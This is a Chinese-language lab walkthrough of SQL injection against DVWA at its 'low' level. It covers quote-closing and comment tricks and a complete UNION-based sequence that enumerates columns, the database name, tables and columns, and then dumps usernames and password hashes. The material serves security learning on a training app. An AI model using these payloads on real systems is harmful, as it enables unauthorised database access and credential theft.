DVWA sql注入low级别
sql注入分类
- 数字型注入
SELECT first_name, last_name FROM users WHERE user_id = $id
- 字符型注入
SELECT first_name, last_name FROM users WHERE user_id = '$id'
一般可以通过直接输入单引号来判断是否存在注入点
通过输入3和1 2判断注入为字符型注入,若为数字型注入,则3和1 2输出一样
字符型注入
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码
SELECT first_name, last_name FROM users WHERE user_id = '$id'
- ' or 1=1 or ' SELECT first_name, last_name FROM users WHERE user_id = ' ' or 1=1 or ' ' False or True or False
- 1' or '1' ='1 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' ='1' True or True
- 'or 1=1 # SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 #'
# 为注释
False or True
- 'or 1=1 -- SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 -- ' -- (有空格)也是注释 False or True
判断数据库字段数
- 1' order by 2 #
- 1' order by 3 #
判断数据库字段数为2
确定回显位置(SQL语句查询后显示的位置)
1' union select 1,2 #
查询当前用户名和数据库
1' union select user(),database() #
获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取字段中的数据
1' union select user,password from users#